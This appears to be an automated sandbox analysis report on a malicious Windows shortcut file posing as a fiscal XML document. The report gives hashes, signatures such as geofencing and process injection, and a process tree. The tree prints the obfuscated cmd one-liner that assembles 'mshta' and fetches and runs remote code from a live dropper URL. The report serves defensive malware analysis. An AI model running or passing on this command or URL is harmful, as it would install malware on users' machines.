Analysis
- max time kernel
58s - max time network
34s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
18/08/2026, 04:31
Static task
static1
Behavioral task
behavioral1
Sample
Xml_Fiscal_-SKP5RX.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
Xml_Fiscal_-SKP5RX.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target Xml_Fiscal_-SKP5RX.lnk
- Size 1KB
- Sample260818-e5e68swzf1
- SHA256 f847b9cda9ccd19b16a05ee606b91590ef46f69a94a2a365e2c85cc7a962b439
- MD5 443eddd857b533c828ac9193b36c513f
- SHA1 9361aa8ccc5ef136e9e62c13da3aef7ae84a22cd
- SHA512 1f33ca548d1fe9c41a05864bb75cf6be5a23c151d4781906c4a88d7a7934fd494e99e80c7999e5bdb72afe6a304cea95dc0c1cd2d404157feff050c994cd0736
- TLSH T1543197002EFE0660F3F38E7784BB572089BBB8558D24C61E40404A4C5472A01E67AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4348 cmd.exe 3780 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4348 wrote to memory of 3780 4348 cmd.exe 85 PID 3780 wrote to memory of 1712 3780 cmd.exe 86
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Xml_Fiscal_-SKP5RX.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4348 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set BaK=msh&&set dQMWo=ta&&start "" !BaK!!dQMWo! https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3780 -
C:\Windows\System32\mshta.exemshta https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D883⤵PID:1712
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